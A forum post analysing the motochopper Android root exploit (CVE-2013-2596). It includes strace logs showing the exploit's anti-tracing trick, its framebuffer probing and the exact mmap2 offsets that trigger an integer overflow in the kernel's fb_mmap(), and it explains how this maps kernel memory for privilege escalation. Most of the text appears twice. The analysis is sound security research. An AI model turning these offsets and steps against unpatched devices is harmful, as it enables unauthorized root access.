I ran the motochopper[1] "pwn" binary under an unprivileged shell on my CM10.1 Nexus 7 (Tegra chipset, codename "grouper"), and was surprised to find that it gained administrative privileges by changing all "shell"-owned (uid 2000) processes on the system to run as uid 0.
It was somewhat worrying to see that an up-to-date ROM had an unpatched vulnerability, and I was concerned about whether rogue apps could leverage it. The CVE entry[2] was surprisingly vague, compounding my suspicions.
Further investigation indicated that motochopper is running a series of syscalls from within a SIGTRAP handler to thwart tracing:
After disassembling the binary and patching it to invoke the syscalls directly, it looks like the problem involves the framebuffer driver. First, after opening a bunch of other (irrelevant, possibly decoy) devices, the exploit probes the real size of the framebuffer:
Then it tries to map the largest possible region into the process' address space:
Clearly, a 2GB mapping on a 1GB device should not have succeeded; apparently this overlaps with kernel memory and the exploit is able to iterate through the task_struct / creds to change the uid 2000 processes to uid 0:
Checking the perms on /dev/graphics/fb0, it looks like most apps will not have access to this device (though the "graphics" group) and would not be able to directly use this exploit.
Some unanswered questions:
Does this exploit target the kernel's framebuffer infrastructure itself, or only specific drivers? I did not see any obvious fixes along the Linux 3.0 -stable branch, nor did I see any recent Asus kernel commits in the CM github repo.
Why was the binary built with -fPIC and -O0? Is this a form of obfuscation?
What is the significance of probing the framebuffer size? Is it meaningful that 9437184 = 0x900000, and the first mmap() length attempt was 2415919104 = 0x90000000?
[1] http://xdaforums.com/showthread.php?t=2252248
[2] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2596
Edit:
Some recent changes were made to fbmem.c:fb_mmap() in mainline:
http://www.spinics.net/lists/stable/msg06210.html
https://lkml.org/lkml/2013/4/23/623
There is no custom fb_mmap() in Tegra's fb_ops struct.
Seeing the kernel maintainers madly rush to backport this innocuous-looking helper function to ancient releases like Linux 3.0, right around the same time motochopper was released (4/9), suggests that they might be trying to clean up a vulnerability in the framebuffer core.
Edit #2:
After staring at the code a little longer (and finally realizing that mmap2() takes a PAGE offset as its last argument, not a BYTE offset), here is what I see:
The initial mmap2/munmap sequence is trying to deduce the rounded smem_len + (smem_start partial page byte) value (len) by trying successively larger values until the check in blue returns -EINVAL. Result: 9437184 = 0x900000 (i.e. the framebuffer size is 9MB).
fb_mmap() is funny in that offsets 0 through (len-1) map the framebuffer, but offset (len) maps byte 0 of mmio_start. Which looks to be uninitialized (zero) in the Tegra driver.
The second sequence of mmap2() calls is trying to find the largest possible mapping. The kernel mmap2() syscall returns -ENOMEM if the mapping is too large for the virtual address space available to the process; fb_mmap() is not even called if this happens. When fb_mmap() is eventually called:
Page offset = 0x82900
Byte offset = off = 0x82900 << PAGE_SHIFT = 0x8290_0000
len = 0x90_0000 and "off" is much larger than len, so this hits the MMIO case. len is subtracted from off, leaving 0x8200_0000. Since the offset is so large, the length check in blue overflows: the VMA size of 0x7e00_0000 plus a len of 0x8200_0000 comes out to exactly 0x1_0000_0000; truncated to 32 bits this is zero. This passes the sanity test, so the code in green happily creates a read-write mapping starting at physical address 0 (mmio_start) and covering all of kernel memory.
So basically motochopper is exploiting an unpublicized (but belatedly patched) kernel bug in fbmem.c.
It was somewhat worrying to see that an up-to-date ROM had an unpatched vulnerability, and I was concerned about whether rogue apps could leverage it. The CVE entry[2] was surprisingly vague, compounding my suspicions.
Further investigation indicated that motochopper is running a series of syscalls from within a SIGTRAP handler to thwart tracing:
Code:
1662 [4019c940] sigaction(0x5, 0xbecfdcc8, 0xbecfdcc8) = 0
1662 [4019ba5c] gettid() = 0x67e
1662 [4019d160] kill(0x67e, 0x5) = 0
1662 [4019d160] kill(0, 0x5) = 0x5
1662 [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
1662 [4019ba5c] gettid() = 0x67e
1662 [4019d160] kill() = 0
1662 [4019c940] sigaction(0x5, 0xbecfdcb0, 0xbecfdcb0) = 0
1662 [4019ba5c] gettid() = 0x67e
1662 [4019d160] kill(0x67e, 0x5) = 0
1662 [4019d160] kill(0, 0x5) = 0x5
1662 [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
1662 [4019ba5c] gettid() = 0x67e
1662 [4019d160] kill() = 0
After disassembling the binary and patching it to invoke the syscalls directly, it looks like the problem involves the framebuffer driver. First, after opening a bunch of other (irrelevant, possibly decoy) devices, the exploit probes the real size of the framebuffer:
Code:
1728 open("/dev/graphics/fb0", O_RDWR) = 6
...
1728 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x400f2000
1728 munmap(0x400f2000, 4096) = 0
1728 mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x40011000
1728 munmap(0x40011000, 8192) = 0
1728 mmap2(NULL, 12288, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4006a000
1728 munmap(0x4006a000, 12288) = 0
...
1728 mmap2(NULL, 9433088, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
1728 munmap(0x4015b000, 9433088) = 0
1728 mmap2(NULL, 9437184, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
1728 munmap(0x4015b000, 9437184) = 0
1728 mmap2(NULL, 9441280, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = -1 EINVAL (Invalid argument)
Then it tries to map the largest possible region into the process' address space:
Code:
1728 mmap2(NULL, 2415919104, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x70900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2399141888, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x71900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2382364672, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x72900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2365587456, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x73900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2348810240, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x74900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2332033024, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x75900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2315255808, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x76900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2298478592, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x77900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2281701376, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x78900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2264924160, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x79900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2248146944, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7a900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2231369728, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7b900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2214592512, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7c900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2197815296, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7d900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2181038080, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7e900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2164260864, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7f900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2147483648, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x80900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2130706432, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x81900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2113929216, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x82900) = 0x4015b000
Clearly, a 2GB mapping on a 1GB device should not have succeeded; apparently this overlaps with kernel memory and the exploit is able to iterate through the task_struct / creds to change the uid 2000 processes to uid 0:
Code:
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 0
1728 getuid32() = 0
1728 write(1, "[+] Success!\n", 13) = 13
Checking the perms on /dev/graphics/fb0, it looks like most apps will not have access to this device (though the "graphics" group) and would not be able to directly use this exploit.
Some unanswered questions:
Does this exploit target the kernel's framebuffer infrastructure itself, or only specific drivers? I did not see any obvious fixes along the Linux 3.0 -stable branch, nor did I see any recent Asus kernel commits in the CM github repo.
Why was the binary built with -fPIC and -O0? Is this a form of obfuscation?
What is the significance of probing the framebuffer size? Is it meaningful that 9437184 = 0x900000, and the first mmap() length attempt was 2415919104 = 0x90000000?
[1] http://xdaforums.com/showthread.php?t=2252248
[2] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2596
Edit:
Some recent changes were made to fbmem.c:fb_mmap() in mainline:
http://www.spinics.net/lists/stable/msg06210.html
https://lkml.org/lkml/2013/4/23/623
There is no custom fb_mmap() in Tegra's fb_ops struct.
Seeing the kernel maintainers madly rush to backport this innocuous-looking helper function to ancient releases like Linux 3.0, right around the same time motochopper was released (4/9), suggests that they might be trying to clean up a vulnerability in the framebuffer core.
Edit #2:
After staring at the code a little longer (and finally realizing that mmap2() takes a PAGE offset as its last argument, not a BYTE offset), here is what I see:
Code:
static int
fb_mmap(struct file *file, struct vm_area_struct * vma)
{
struct fb_info *info = file_fb_info(file);
struct fb_ops *fb;
unsigned long off;
unsigned long start;
u32 len;
if (!info)
return -ENODEV;
if (vma->vm_pgoff > (~0UL >> PAGE_SHIFT))
return -EINVAL;
off = vma->vm_pgoff << PAGE_SHIFT;
fb = info->fbops;
if (!fb)
return -ENODEV;
mutex_lock(&info->mm_lock);
if (fb->fb_mmap) {
int res;
res = fb->fb_mmap(info, vma);
mutex_unlock(&info->mm_lock);
return res;
}
/* frame buffer memory */
start = info->fix.smem_start;
[color=red]len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.smem_len);[/color]
if (off >= len) {
/* memory mapped io */
off -= len;
if (info->var.accel_flags) {
mutex_unlock(&info->mm_lock);
return -EINVAL;
}
start = info->fix.mmio_start;
len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.mmio_len);
}
mutex_unlock(&info->mm_lock);
start &= PAGE_MASK;
[color=blue]if ((vma->vm_end - vma->vm_start + off) > len)
return -EINVAL;[/color]
off += start;
vma->vm_pgoff = off >> PAGE_SHIFT;
/* This is an IO map - tell maydump to skip this VMA */
vma->vm_flags |= VM_IO | VM_RESERVED;
vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
fb_pgprotect(file, vma, off);
[color=green]if (io_remap_pfn_range(vma, vma->vm_start, off >> PAGE_SHIFT,
vma->vm_end - vma->vm_start, vma->vm_page_prot))[/color]
return -EAGAIN;
return 0;
}
The initial mmap2/munmap sequence is trying to deduce the rounded smem_len + (smem_start partial page byte) value (len) by trying successively larger values until the check in blue returns -EINVAL. Result: 9437184 = 0x900000 (i.e. the framebuffer size is 9MB).
fb_mmap() is funny in that offsets 0 through (len-1) map the framebuffer, but offset (len) maps byte 0 of mmio_start. Which looks to be uninitialized (zero) in the Tegra driver.
The second sequence of mmap2() calls is trying to find the largest possible mapping. The kernel mmap2() syscall returns -ENOMEM if the mapping is too large for the virtual address space available to the process; fb_mmap() is not even called if this happens. When fb_mmap() is eventually called:
Page offset = 0x82900
Byte offset = off = 0x82900 << PAGE_SHIFT = 0x8290_0000
len = 0x90_0000 and "off" is much larger than len, so this hits the MMIO case. len is subtracted from off, leaving 0x8200_0000. Since the offset is so large, the length check in blue overflows: the VMA size of 0x7e00_0000 plus a len of 0x8200_0000 comes out to exactly 0x1_0000_0000; truncated to 32 bits this is zero. This passes the sanity test, so the code in green happily creates a read-write mapping starting at physical address 0 (mmio_start) and covering all of kernel memory.
So basically motochopper is exploiting an unpublicized (but belatedly patched) kernel bug in fbmem.c.
Last edited: